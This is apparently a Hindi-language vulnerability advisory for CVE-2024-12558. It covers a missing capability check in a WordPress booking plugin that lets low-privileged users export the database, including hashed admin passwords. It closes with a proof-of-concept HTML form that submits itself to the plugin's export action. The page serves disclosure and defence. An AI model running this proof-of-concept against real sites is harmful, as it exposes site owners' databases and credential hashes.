CVE-2024-12558

WP BASE Booking of Appointments, Services and Events <= 4.9.2 - app_export_db के माध्यम से प्रमाणित (सब्सक्राइबर+) संवेदनशील जानकारी के प्रकटीकरण हेतु अनधिकृत पहुँच

विवरण

WordPress के लिए WP BASE Booking of Appointments, Services and Events प्लगइन, संस्करण 4.9.2 तक (4.9.2 सहित) के सभी संस्करणों में export_db फ़ंक्शन पर क्षमता जाँच (capability check) की कमी के कारण डेटा की अनधिकृत पहुँच के प्रति संवेदनशील है। यह सब्सक्राइबर-स्तर या उससे ऊपर की पहुँच वाले प्रमाणित हमलावरों को डेटाबेस से हैश किए गए व्यवस्थापक पासवर्ड जैसी संवेदनशील जानकारी उजागर करने में सक्षम बनाता है।

जानकारी

प्रकार: प्लगइन
स्लग: wp-base-booking-of-appointments-services-and-events
प्रभावित संस्करण: 4.9.2
CVSS स्कोर: 6.5
CVSS रेटिंग: मध्यम
CVSS वेक्टर: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
CVE: CVE-2024-12558
स्थिति: सक्रिय

POC

<html>
  <body>
    <form action="https://wp-dev.ddev.site/wp-admin/admin-ajax.php?action=app_export_db" method="POST">
      <input type="hidden" name="action" value="app&#95;export&#95;db" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

CVE-2024-12558

सबसे लोकप्रिय

CVE-2024-12558

विवरण

जानकारी

POC